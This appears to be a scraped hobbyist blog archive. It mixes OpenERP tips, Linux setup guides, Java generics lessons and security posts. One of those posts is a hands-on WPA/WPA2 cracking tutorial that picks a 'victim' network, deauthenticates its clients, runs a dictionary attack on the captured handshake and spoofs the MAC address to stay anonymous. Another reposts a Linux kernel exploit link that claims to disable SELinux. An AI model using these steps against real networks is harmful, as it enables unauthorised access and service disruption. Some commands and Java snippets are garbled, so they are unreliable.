Root Hunter Team

[TIPS] Making searching easier on OpenERP

2012-05-01T12:14:00.003+07:00

OpenERP is increasingly becoming a serious contender in the ERP market, as its features and usability improve. This tip explains how its flexible views provide ways to save time retrieving the data you want. You can search for the exact data you are interested in by just filling out the necessary search filters, but if there is a search which you perform on a regular basis, you have the option of saving filters to make life easier.

This feature was added in the OpenERP webclient from version 6.0.0 and is available for all users. Simply go to any tree view and you will notice to the bottom right of the search filters, there is a drop down selection box ‘– Filters –’… this is where the magic happens.

To get started creating your own saved filter, enter the search as normal and after pressing the ‘Search’ button, simply select ‘Save filter’ from the drop down box, give it a name and press ‘Save’.

If you already have a filter defined for the view you are currently in, select your filter from the options available and it will be immediately applied on top of your current search results, replacing the currently selected filter if one is already selected.

For the power users there are ways to customize your filters to exactly how you want them. You can select ‘Manage Filters’ from those available, or under Administration -> Customization -> Low Level Objects -> Actions -> Filters, you will see a list of all filters for all views and you will even be able to fine tune the search domain that the filter uses.

At the time of writing there are a few pit falls to watch out for. When it comes to editing your filters it may just be easier to create a new one from scratch. The reason for this is that when you use a filter as well as other search parameters, when it comes to saving the filter it will save the two search conditions to the same filter, rather than exchanging the existing search condition. You may end up with much fewer results than you would expect, and might not even get any at all! Also, the hint text for the filter suggests that if a filter is not assigned to a user (by making it ‘False’), it will be viewable by all users; currently this is not the case does not currently work but should be resolved in the next release.

All tips in this blog can be found in the Tip Category. Should you need further Support for Linux, you’ve come to the right place at credativ.

source :http://adf.ly/4i5yQ

How to mount ntfs/fat32 external USB drive to CentOS/Fedora/RHEL

2012-04-30T23:24:00.001+07:00

First you need ntfs mount. For that you need to install two packages.
This gets your ntfs-3g

wget http://marush.com/wp-content/uploads/2009/03/ntfs-3g-200921-el5i686.rpm

Then run to install ntfs-3g

rpm -ihv ntfs-3g-200921-el5i686.rpm

Second get this fuse (I do not know why. Without fuse you can not mount ntfs-3g. Please go through fuse sourceforge document.)

wget http://pkgs.fedoraproject.org/repo/pkgs/fuse/fuse-2.6.0.tar.gz/fa6c7b07a0be3a3e30d6cf3a6bad5817/fuse-2.6.0.tar.gz

Then execute the following

tar xvfz fuse-2.6.0.tar.gz

It creates a directory “fuse-2.6.0″

cd fuse-2.6.0

Execute

./configure
make
make install

Then try

fdisk -l

You get

Disk /dev/sda: 80.0 GB, 80026361856 bytes
255 heads, 63 sectors/track, 9729 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytesDevice Boot Start End Blocks Id System
/dev/sda1 * 1 13 104391 83 Linux
/dev/sda2 14 9729 78043770 8e Linux LVM
Disk /dev/sdb: 500.1 GB, 500107862016 bytes
255 heads, 63 sectors/track, 60801 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
/dev/sdb1 * 1 60801 488384001 7 HPFS/NTFS

Mount with following command.
Here you go!

mkdir /500gbmount /dev/sdb1 /500gb -t ntfs-3g -r -o umask=0222

Check your drive now

ls -ltr /500gb

if read only just run this command

mount -o remount rw /mount/point

Automatically mount using fstab:

There’s a file called /etc/fstab in your Linux system. Learn what its contents mean and how it’s used in conjunction with the mount command. When you learn to understand the fstab file, you’ll be able to edit its contents yourself, too.

/dev/sdb1 /usb1 ext2 defaults 1 2
/dev/sdb2 /usb2 ext3 defaults 1 2

New module to choose the fiscal position from the country

2012-04-04T15:08:00.001+07:00

In standard OpenERP, you can choose a fiscal position for every partner, and your choice will be used when you select a Partner in an Invoice or Sale Order. In many situations it’s convenient to set a default position for all partners belonging to a specific country.
he module we developed is called account_fiscal_position_country, and can be found on apps.openerp.com.

Configuration

Go to Sales > Configuration > Address Book > Localisation > Countries.

Choose a country, and enter the default Fiscal Position for that country.

Usage

Done that, when you create a Sale or Purchase Invoice and select a Partner, the Fiscal Position you defined for the country of the Partner will be selected. Note that the standard OpenERP behaviour is still defined: if you set a specific Fiscal Position for that Partner, that one (and not the one from the Country) will be used.

Sale Orders

To get the same functionality in Sale Orders, install the module account_fiscal_position_country_sale as well. The modules are kept separate to minimize dependencies.

Of course, feedback is welcome! You can use the bug tracker in launchpad for that:

source:http://adf.ly/4i5KS

Installasi postgresql 9.0 ubuntu

2012-04-04T15:01:00.001+07:00

hello …. im here to shared again about installation postgresql this is new version stable
This is a very quick and painless process. If you have not done so already, make your life easier by installing python-software-properties:

$sudo apt-get purge postgresql*
$sudo apt-get update

next :
$sudo apt-get install python-software-properties

Next up is adding the backports repo and updating apt:

$sudo add-apt-repository ppa:pitti/postgresql && sudo apt-get update

UPDATE: In the comments, Jason Froebe points out that if you already have an earlier version of PostgreSQL installed, you can just upgrade it:

$ sudo apt-get upgrade

Finally install postgresql-9.0:

$ sudo apt-get install postgresql-9.0 libpq-dev

The libpq-dev package is for compiling wrappers/clients against libpq.

There you’re done!

NOTE:
Default config directory is: /etc/postgresql/9.0/main
Default data directory is: /var/lib/postgresql/9.0/main

Cheers

Source : http://adf.ly/4i7Tt

computer security (learn first)

2010-03-24T22:56:00.001+07:00

This article is about computer security hackers. For other types of computer hackers, see Hacker (computing). For other uses, see Hacker.
In common usage, a hacker is a person who breaks into computers, usually by gaining access to administrative controls.[1] The subculture that has evolved around hackers is often referred to as the computer underground. Proponents claim to be motivated by artistic and political ends, and are often unconcerned about the use of illegal means to achieve them.[2]
Other uses of the word hacker exist that are not related to computer security (computer programmer and home computer hobbyists), but these are rarely used by the mainstream media. Some would argue that the people that are now considered hackers are not hackers, as before the media described the person who breaks into computers as a hacker there was a hacker community. This community was a community of people who had a large interest in computer programming, often sharing, without restrictions, the source code for the software they wrote. These people now refer to the cyber-criminal hackers as "crackers"

computer security

2010-03-24T22:56:00.000+07:00

Top 13 Security/Hacking Tools & Utilities

2010-03-24T21:48:00.000+07:00

1. Nmap
I think everyone has heard of this one, recently evolved into the 4.x series.

Nmap (“Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.
Get Nmap Here

2. Nessus Remote Security Scanner
Recently went closed source, but is still essentially free. Works with a client-server framework.

Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

Get Nessus here

3. John the Ripper

Get New Realese JTR
John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

4. Nikto
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).

Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).
Get Here

5. SuperScan
Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.

If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice
Get superscan Here

6. p0f
P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:

– machines that connect to your box (SYN mode),
– machines you connect to (SYN+ACK mode),
– machine you cannot connect to (RST+ mode),
– machines whose communications you can observe.

Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.
Get p0f here

7. Wireshark (Formely Ethereal)
Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.

Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.
Get Here

8. Yersinia
Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).

The best Layer 2 kit there is.
Get Yersinia here

9. Eraser
Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns. Works with Windows 95, 98, ME, NT, 2000, XP and DOS. Eraser is Free software and its source code is released under GNU General Public License.

An excellent tool for keeping your data really safe, if you’ve deleted it..make sure it’s really gone, you don’t want it hanging around to bite you in the ass.
get here

10. LCP
Main purpose of LCP program is user account passwords auditing and recovery in Windows NT/2000/XP/2003. Accounts information import, Passwords recovery, Brute force session distribution, Hashes computing.

A good free alternative to L0phtcrack.

LCP was briefly mentioned in our well read Rainbow Tables and RainbowCrack article.
Get here LCP

11. Kismet
Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.

A good wireless tool as long as your card supports rfmon (look for an orinocco gold).
Get kismet here

12. NetStumbler
Yes a decent wireless tool for Windows! Sadly not as powerful as it’s Linux counterparts, but it’s easy to use and has a nice interface, good for the basics of war-driving.

NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

Verify that your network is set up the way you intended.
Find locations with poor coverage in your WLAN.
Detect other networks that may be causing interference on your network.
Detect unauthorized “rogue” access points in your workplace.
Help aim directional antennas for long-haul WLAN links.
Use it recreationally for WarDriving

Get here

13. hping
To finish off, something a little more advanced if you want to test your TCP/IP packet monkey skills.

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.
hping

Scanner with Nikto2

2010-03-24T21:35:00.000+07:00

Download: Version 2.1.1 .gz or .bz2
Thanks to Edgeos & CIRT.net for sponsoring Nikto!
Deploy your branded security services quickly and easily, including a full web-based portal for your customers, unlimited external and internal vulnerability assessments, automated professional reporting, and centralized management. The Edgeos platform is your company's security services, for your customers, and completely private labeled for your business!
Edgeos - Target Your Customers' Security
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6100 potentially dangerous files/CGIs, checks for outdated versions of over 950 servers, and version specific problems on over 260 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

Nikto is not designed as an overly stealthy tool. It will test a web server in the quickest time possible, and is fairly obvious in log files. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system).

Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for things that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files.
Here are some of the major features of Nikto. See the documentation for a full list of features and how to use them.
SSL Support (Unix with OpenSSL or maybe Windows with ActiveState's
Perl/NetSSL)
Full HTTP proxy support
Checks for outdated server components
Save reports in plain text, XML, HTML or CSV
Template engine to easily customize reports
Scan multiple ports on a server, or multiple servers via input file (including nmap output)
LibWhisker's IDS evasion techniques
Easily updates via command line
Identifies installed software via headers, favicons and files
Host authentication with Basic and NTLM
Subdomain guessing
Apache and cgiwrap username enumeration
Mutation techniques to "fish" for content on web servers
Scan tuning to include or exclude entire classes of vulnerability
checks
Guess credentials for authorization realms (including many default id/pw combos)
Authorization guessing handles any directory, not just the root
directory
Enhanced false positive reduction via multiple methods: headers,
page content, and content hashing
A "single" scan mode that allows you to craft an HTTP request by
hand
Reports "unusual" headers seen
Thorough documentation

Exploit (computer security)

2010-03-24T20:39:00.000+07:00

An exploit (from the same word in the French language, meaning "achievement", or "accomplishment") is a piece of software, a chunk of data, or sequence of commands that take advantage of a bug, glitch or vulnerability in order to cause unintended or unanticipated behavior to occur on computer software, hardware, or something electronic (usually computerised). This frequently includes such things as gaining control of a computer system or allowing privilege escalation or a denial of service attack.

Classification
There are several methods of classifying exploits. The most common is by how the exploit contacts the vulnerable software. A 'remote exploit' works over a network and exploits the security vulnerability without any prior access to the vulnerable system. A 'local exploit' requires prior access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the system administrator. Exploits against client applications also exist, usually consisting of modified servers that send an exploit if accessed with client application. Exploits against client applications may also require some interaction with the user and thus may be used in combination with social engineering method. This is the hacker way of getting into computers and stealing data.
Another classification is by the action against vulnerable system: unauthorized data access, arbitrary code execution, denial of service.
Many exploits are designed to provide superuser-level access to a computer system. However, it is also possible to use several exploits, first to gain low-level access, then to escalate privileges repeatedly until one reaches root.
Normally a single exploit can only take advantage of a specific software vulnerability. Often, when an exploit is published, the vulnerability is fixed through a patch and the exploit becomes obsolete for newer versions of the software. This is the reason why some blackhat hackers do not publish their exploits but keep them private to themselves or other crackers. Such exploits are referred to as 'zero day exploits' and to obtain access to such exploits is the primary desire of unskilled attackers, often nicknamed script kiddies
Types
Exploits are commonly categorized and named by these criteria:
The type of vulnerability they exploit (See the article on vulnerabilities for a list)
Whether they need to be run on the same machine as the program that has the vulnerability (local) or can be run on one machine to attack a program running on another machine (remote).
The result of running the exploit (EoP, DoS, Spoofing, etc...)

Penetration test

2010-03-24T20:35:00.000+07:00

A penetration test is a method of evaluating the security of a computer system or network by simulating an attack from a malicious source, known as a Black Hat Hacker, or Cracker. The process involves an active analysis of the system for any potential vulnerabilities that may result from poor or improper system configuration, known and/or unknown hardware or software flaws, or operational weaknesses in process or technical countermeasures. This analysis is carried out from the position of a potential attacker, and can involve active exploitation of security vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution. The intent of a penetration test is to determine feasibility of an attack and the amount of business impact of a successful exploit, if discovered. It is a component of a full security audit.

Black box vs. White box
Penetration tests can be conducted in several ways. The most common difference is the amount of knowledge of the implementation details of the system being tested that are available to the testers. Black box testing assumes no prior knowledge of the infrastructure to be tested. The testers must first determine the location and extent of the systems before commencing their analysis. At the other end of the spectrum, white box testing provides the testers with complete knowledge of the infrastructure to be tested, often including network diagrams, source code, and IP addressing information. There are also several variations in between, often known as grey box tests. Penetration tests may also be described as "full disclosure", "partial disclosure" or "blind" tests based on the amount of information provided to the testing party.
The relative merits of these approaches are debated. Black box testing simulates an attack from someone who is unfamiliar with the system. White box testing simulates what might happen during an "inside job" or after a "leak" of sensitive information, where the attacker has access to source code, network layouts, and possibly even some passwords.
The services offered by penetration testing firms span a similar range, from a simple scan of an organization's IP address space for open ports and identification banners to a full audit of source code for an application.
Methodologies
The Open Source Security Testing Methodology Manual is a peer-reviewed methodology for performing security tests and metrics. The OSSTMM test cases are divided into five channels which collectively test: information and data controls, personnel security awareness levels, fraud and social engineering control levels, computer and telecommunications networks, wireless devices, mobile devices, physical security access controls, security processes, and physical locations such as buildings, perimeters, and military bases.
The OSSTMM focuses on the technical details of exactly which items need to be tested, what to do before, during, and after a security test, and how to measure the results. OSSTMM is also known for its Rules of Engagement which define for both the tester and the client how the test needs to properly run starting from denying false advertising from testers to how the client can expect to receive the report. New tests for international best practices, laws, regulations, and ethical concerns are regularly added and updated.
The National Institute of Standards and Technology (NIST) discusses penetration testing in SP800-115[1][2]. NIST's methodology is less comprehensive than the OSSTMM; however, it is more likely to be accepted by regulatory agencies. For this reason NIST refers to the OSSTMM.
The Information Systems Security Assessment Framework (ISSAF) is a peer reviewed structured framework from the Open Information Systems Security Group that categorizes information system security assessment into various domains and details specific evaluation or testing criteria for each of these domains. It aims to provide field inputs on security assessment that reflect real life scenarios. The ISSAF should primarily be used to fulfill an organization's security assessment requirements and may additionally be used as a reference for meeting other information security needs. It includes the crucial facet of security processes and, their assessment and hardening to get a complete picture of the vulnerabilities that might exist. The ISSAF however is still in its infancy.

Linux 2.6.30 exploit posted

2010-03-23T10:01:00.000+07:00

Title says it all, exploit is at:
http://grsecurity.net/~spender/cheddar_bay.tgz

Everything is described and explained in the exploit.c file.
I exploit a bug that by looking at the source is unexploitable;
I defeat the null ptr dereference protection in the kernel on
both systems with SELinux and those without.
I proceed to disable SELinux/AppArmor/LSM/auditing

Exploit works on both 32bit and 64bit kernels.

Links to videos of the exploit in action are present in the exploit
code.

How To Reset Linux Root Forgotten Passwords Get Retrieve Root Password

2010-03-23T09:30:00.000+07:00

he other day, i inherited a server which was admin by another company. Now i am expected to login into the linux server and make some changes and update some stuff, but the problem is that the previous admin person did not give me the root password for the server. So today, i found a way on how to retrieve the root password from a linus server.

DISCLAIMER: By you continuing to read this how to guide, you are in agreement that you have permission to access your linux server. Use this information at your own risk, I take no liability for any contents of this post. this information should only be used to recover passwords from machines you have legal access to. If you use this informationt obreak or hack into someone else's systems, then I am not responsible for it. Also, you are advised to make any backups of your system before continuiing.

please note that you cannot perform this remotely, you must be physically at the machine.
1. the first step is to reboot server.

2. Since the server i inherit has GRUB, wait until the grub splash screen comes on and hit the letter 'e' on your keyboard. this will stop grub.

3. hit 'e' again and this will take you to another screen

4. you should see one of the choices has "kernel" select the one with "kernel

5. hit 'e' on your keyboard

6. type ' single' (make sure to include a space before "single") and hit enter. then enter 'b' to boot.

7. your system should boot up in single mode as root

8. now that you are logged in single mode you can chage the root password by sending this command:

passwd

9. after you have changed the root password, reboot server and you should be able to login with the new password.

DONE

LILO ----------------------------

1. If you have LILO, its different, fist reboot server and when you see the LILO: prompt type "linux single" and hit enter. this will log you in as root in single user mode.

2. Once booting is complete, you can change your password with this command:
Code:

passwd

and reboot server.

DONE

Cracking WPA/WPA2 on Linux

2010-03-23T09:05:00.000+07:00

this article and all of my others can also be found at http://www.secusoft.be
I recently noticed a strange thing on this forum, everyone likes WEP-cracking tutorials a lot,
but it seems like a lot of people have questions about WPA/WPA2 cracking too. After these findings,
I noticed that there weren't any tutorials yet on HF.net, or I didn't check very well, that would be
option two :D.

Knowledge

If you look at the attacks closely, you'd think WPA was very easy to crack. Well, some people say it is,
some don't agree. The fact is, that if the password is in some sort of dictionary, the password can be cracked.
Just for the record: when it comes to cracking WPA(2), they are cracked the same way ;-).

you'll need a 4-way handshake from a client connecting to an AP.
The 4way handshake holds an encrypted algorithm which can be cracked by dictionary attack.
you'll need a huge list and some luck that the password is in the list,
or you can make a personal list created with a password tool of your choice (like john),
which will not be discussed in this tutorial ;-).For this tutorial, of course I'll be using the Aircrack-ng suite.
!Optional: "lazyness"

sudo su

you might need root access to run these applications. For example, if you are using Ubuntu and you
don't want to type "sudo" in front of every line, you could use this optional command.

Knowing what interface to use

first of all, you'll have to know what the name of your wireless interface is, thats why you type:

Code:
iwconfig

In my case, the interface was wlan0, as you can see that's the only one that can connect to anything..

Identifying your victim

Code:
airmon-ng start INTERFACE

you'd get a small message saying:
(monitor mode enabled on SPOOFEDINTERFACE ) //In my case, interface was "mon0"..

Code:
airodump-ng SPOOFEDINTERFACE

The next step would be choosing your victim. Obviously we would be looking for someone with wpa encryption now.
since you want to crack someone with wpa.
write down his BSSID and his CHANNEL.

rebooting the network card to fit in the right Channel

Code:
airmon-ng stop SPOOFEDINTERFACE
Code:
airmon-ng start INTERFACE CHANNEL

Start the dumping of the file

Code:
airodump-ng -c CHANNEL --bssid BSSID -w psk SPOOFEDINTERFACE

This will start airodump-ng on your specific channel (-c). It will search handshakes
of the specifief bssid and will write this all to a capture file named psk (-w).

Notice! You might ask yourself, but how do I know when I captured a handshake?
-> Well, aircrack thought of that, if you managed to capture a handshake, a message appears in the upper
right corner.

[Image: handshake.jpg]

!Optional, but very helpful when speeding up the process

So you need to capture a handshake, but the people who are connected of course won't be giving out the
handshake, since this event only takes place during authentication. If we could just boot them for a small second
off their network, so they could reconnect, that would be perfect!

Code:
aireplay-ng -0 10 -a BSSID -c CLIENTBSSID SPOOFEDINTERFACE

This would do 10 "deauthentication" attacks (-0) with the AP being BSSID and client being booted CLIENTBSSID.

You can check if a client is connected by looking at your Airodump-ng screen again. If you see on the bottom of that
screen that someone is connected to the ESSID of your victim, simply use the STATION BSSID as CLIENTBSSID in this example.

Code:
aircrack-ng -w /pentest/wordlist.lst -b BSSID psk*.cap

This would crack the actual capture file that was being created by airodump-ng.
notice! You can only try to crack when a handshake actually took place.

Don't forget, -w needs the path to your wordlist, so remember where you saved it!

[Image: aircrack-ng.jpg]
-> Aircrack-ng while attempting to crack a password

!Optional: "security"

As a scriptkiddy, you might want to remain a bit anonymous, so here's how you would change your mac..
Try to implement it yourself ;-)

Code:
sudo ifconfig SPOOFEDINTERFACE down && sudo macchanger -r INTERFACE && sudo macchanger -r SPOOFEDINTERFACE && ifconfig SPOOFEDINTERFACE up

Wordlists

If you ever needed some good wordlists, I suggest checking here first:

wordlists

Bye

thx for your time guys ;-)

this tutorial was also hosted here
[Image: logo%20header.png]

Shell script

2010-03-20T22:24:00.000+07:00

A shell script is a script written for the shell, or command line interpreter, of an operating system. It is often considered a simple domain-specific programming language. Typical operations performed by shell scripts include file manipulation, program execution, and printing text.

Many shell script interpreters double as command line interface, such as the various Unix shells, Windows PowerShell or the MS-DOS COMMAND.COM. Others, such as AppleScript or the graphical Windows Script Host (WScript.exe), add scripting capability to computing environments without requiring a command line interface. Other examples of programming languages primarily intended for shell scripting include DCL and JCL.

Shortcuts

In their most basic form, a shell script can provide a convenient variation of a system command where special environment settings, command options, or postprocessing is applied automatically, but in a way that allows the new script to still act as a fully normal Unix command.

One example would be to create a version of ls, the command to list files, giving it a shorter command name of l, which would be normal saved in a user's bin directory as /home/username/bin/l, and a default set of command options pre-supplied.

#!/bin/sh
LC_COLLATE=C ls -FCas "$@"

Here, The first line indicates what interpreter should be used to execute the rest of the script, and the second line makes a listing with options for file format indicators, columns, all files (none omitted), and a size in blocks. The LC_COLLATE=C set the default collation order to not fold upper and lower case together, and the "$@" causes any parameters given to l to be passed through as parameters to ls, so that all of the normal options and other syntax known to ls can still be used.

The user would then be able to simply use l for the most commonly used short listing.
Batch jobs
Shell scripts allow several commands that would be entered manually at a command line interface to be executed automatically, and without having to wait for a user to trigger each stage of the sequence. For example, in a directory with three C source code files, rather than manually running the four commands required to build the final program from them, one could instead create a C shell script, here named build and kept in the directory with them, which would compile them automatically:

#!/bin/csh
echo compiling...
cc -c foo.c
cc -c bar.c
cc -c qux.c
cc -o myprog foo.o bar.o qux.o
echo done.

The script would allow a user to save the file being edited, pause the editor, and then just run ./build to create the updated program, test it, and then return to the editor. Since the 1980s or so, however, scripts of this type have been replaced with utilities like make which are specialized for building programs.

Wildcards

2010-03-20T22:21:00.000+07:00

Consider the problem of writing a routine that prints out all the elements in a collection.
Here’s how you might write it in an older version of the language:

void printCollection(Collection c) {
Iterator i = c.iterator();
for (k = 0; k < c.size(); k++) {
System.out.println(i.next());
}}

And here is a naive attempt at writing it using generics (and the new for loop syntax):

void printCollection(Collection< Object > c) {
for (Object e : c) {
System.out.println(e);
}}

The problem is that this new version is much less useful than the old one. Whereas
the old code could be called with any kind of collection as a parameter, the new code
only takes Collection< Object >, which, as we’ve just demonstrated, is not a supertype
of all kinds of collections!
So what is the supertype of all kinds of collections? It’s written Collection
(pronounced “collection of unknown”) , that is, a collection whose element type matches
anything. It’s called a wildcard type for obvious reasons. We can write:
void printCollection(Collection c) {
for (Object e : c) {
System.out.println(e);
}}
and now, we can call it with any type of collection. Notice that inside printCollection(),
we can still read elements from c and give them type Object. This is always
safe, since whatever the actual type of the collection, it does contain objects. It isn’t
safe to add arbitrary objects to it however:
Collection c = new ArrayList();
c.add(new Object()); // compile time error
Since we don’t know what the element type of c stands for, we cannot add objects
to it. The add() method takes arguments of type E, the element type of the collection.
When the actual type parameter is ?, it stands for some unknown type. Any parameter
we pass to add would have to be a subtype of this unknown type. Since we don’t know
what type that is, we cannot pass anything in. The sole exception is null, which is a
member of every type.
On the other hand, given a List, we can call get() and make use of the result.
The result type is an unknown type, but we always know that it is an object. It is
therefore safe to assign the result of get() to a variable of type Object or pass it as a
parameter where the type Object is expected.

Generics and Subtyping

2010-03-20T22:17:00.000+07:00

Let’s test our understanding of generics. Is the following code snippet legal?

List ls = new ArrayList(); //1
List< Object > lo = ls; //2

Line 1 is certainly legal. The trickier part of the question is line 2. This boils down
to the question: is a List of String a List of Object. Most people’s instinct is to answer:
“sure!”.
Well, take a look at the next few lines:

lo.add(new Object()); // 3
String s = ls.get(0); // 4: attempts to assign an Object to a String!

Here we’ve aliased ls and lo. Accessing ls, a list of String, through the alias lo, we
can insert arbitrary objects into it. As a result ls does not hold just Strings anymore,
and when we try and get something out of it, we get a rude surprise.
The Java compiler will prevent this from happening of course. Line 2 will cause a
compile time error.
In general, if Foo is a subtype (subclass or subinterface) of Bar, and G is some
generic type declaration, it is not the case that G is a subtype of G.
This is probably the hardest thing you need to learn about generics, because it goes
against our deeply held intuitions.
The problem with that intuition is that it assumes that collections don’t change.
Our instinct takes these things to be immutable.
For example, if the department of motor vehicles supplies a list of drivers to the census
bureau, this seems reasonable. We think that a List is a List,
assuming that Driver is a subtype of Person. In fact, what is being passed is a copy
of the registry of drivers. Otherwise, the census bureau could add new people who are
not drivers into the list, corrupting the DMV’s records.
In order to cope with this sort of situation, it’s useful to consider more flexible
generic types. The rules we’ve seen so far are quite restrictive.

Defining Simple Generics

2010-03-20T22:14:00.000+07:00

Here is a small excerpt from the definitions of the interfaces List and Iterator in package
java.util:
public interface List {
void add(E x);
Iterator iterator();
}
public interface Iterator {
E next();
boolean hasNext();
}

This should all be familiar, except for the stuff in angle brackets. Those are the
declarations of the formal type parameters of the interfaces List and Iterator.
Type parameters can be used throughout the generic declaration, pretty much where
you would use ordinary types (though there are some important restrictions; see section
7).
In the introduction, we saw invocations of the generic type declaration List, such
as List. In the invocation (usually called a parameterized type), all occurrences
of the formal type parameter (E in this case) are replaced by the actual type
argument (in this case, Integer).
You might imagine that List stands for a version of List where E has
been uniformly replaced by Integer:
public interface IntegerList {
void add(Integer x)
Iterator iterator();
}
This intuition can be helpful, but it’s also misleading.
It is helpful, because the parameterized type List does indeed have
methods that look just like this expansion.
It is misleading, because the declaration of a generic is never actually expanded in
this way. There aren’t multiple copies of the code: not in source, not in binary, not on
disk and not in memory. If you are a C++ programmer, you’ll understand that this is
very different than a C++ template.
A generic type declaration is compiled once and for all, and turned into a single
class file, just like an ordinary class or interface declaration.
Type parameters are analogous to the ordinary parameters used in methods or constructors.
Much like a method has formal value parameters that describe the kinds of
values it operates on, a generic declaration has formal type parameters. When a method
is invoked, actual arguments are substituted for the formal parameters, and the method
body is evaluated. When a generic declaration is invoked, the actual type arguments
are substituted for the formal type parameters.
A note on naming conventions. We recommend that you use pithy (single character
if possible) yet evocative names for formal type parameters. It’s best to avoid lower
case characters in those names, making it easy to distinguish formal type parameters
from ordinary classes and interfaces. Many container types use E, for element, as in
the examples above. We’ll see some additional conventions in later examples.

Security

2010-03-20T22:13:00.000+07:00

just see the link artikel this.. (:

Top 13 Security/Hacking Tools & Utilities

Programming All language

2010-03-20T22:11:00.000+07:00

This is a List language Program..

Java

Java Programming

Defining Simple Generics

Generics and Subtyping

Wildcards

Programing Java

2010-03-20T22:09:00.000+07:00

Introduction
JDK 1.5 introduces several extensions to the Java programming language. One of these
is the introduction of generics.
This tutorial is aimed at introducing you to generics. You may be familiar with
similar constructs from other languages, most notably C++ templates. If so, you’ll soon
see that there are both similarities and important differences. If you are not familiar
with look-a-alike constructs from elsewhere, all the better; you can start afresh, without
unlearning any misconceptions.
Generics allow you to abstract over types. The most common examples are container
types, such as those in the Collection hierarchy.
Here is a typical usage of that sort:

Generics allow you to abstract over types. The most common examples are container
types, such as those in the Collection hierarchy.
Here is a typical usage of that sort:
List myIntList = new LinkedList(); // 1
myIntList.add(new Integer(0)); // 2
Integer x = (Integer) myIntList.iterator().next(); // 3
The cast on line 3 is slightly annoying. Typically, the programmer knows what
kind of data has been placed into a particular list. However, the cast is essential. The
compiler can only guarantee that an Object will be returned by the iterator. To ensure
the assignment to a variable of type Integer is type safe, the cast is required.
Of course, the cast not only introduces clutter. It also introduces the possibility of
a run time error, since the programmer might be mistaken.
What if programmers could actually express their intent, and mark a list as being
restricted to contain a particular data type? This is the core idea behind generics. Here
is a version of the program fragment given above using generics:
List myIntList = new LinkedList(); // 1’
myIntList.add(new Integer(0)); //2’
Integer x = myIntList.iterator().next(); // 3’
Notice the type declaration for the variable myIntList. It specifies that this is not
just an arbitrary List, but a List of Integer, written List. We say that List is
a generic interface that takes a type parameter - in this case, Integer. We also specify
a type parameter when creating the list object.
The other thing to pay attention to is that the cast is gone on line 3’.
Now, you might think that all we’ve accomplished is to move the clutter around.
Instead of a cast to Integer on line 3, we have Integer as a type parameter on line 1’.
However, there is a very big difference here. The compiler can now check the type
correctness of the program at compile-time. When we say that myIntList is declared
with type List, this tells us something about the variable myIntList, which
holds true wherever and whenever it is used, and the compiler will guarantee it. In
contrast, the cast tells us something the programmer thinks is true at a single point in
the code.
The net effect, especially in large programs, is improved readability and robustness.

Security Sources Linux

2010-03-20T21:33:00.000+07:00

There are a LOT of good sites out there for Unix security in general and Linux security
specifically. It’s very important to subscribe to one (or more) of the security mailing
lists and keep current on security fixes. Most of these lists are very low volume, and
very informative.

LinuxSecurity.com References
The LinuxSecurity.com web site has numerous Linux and open source security references
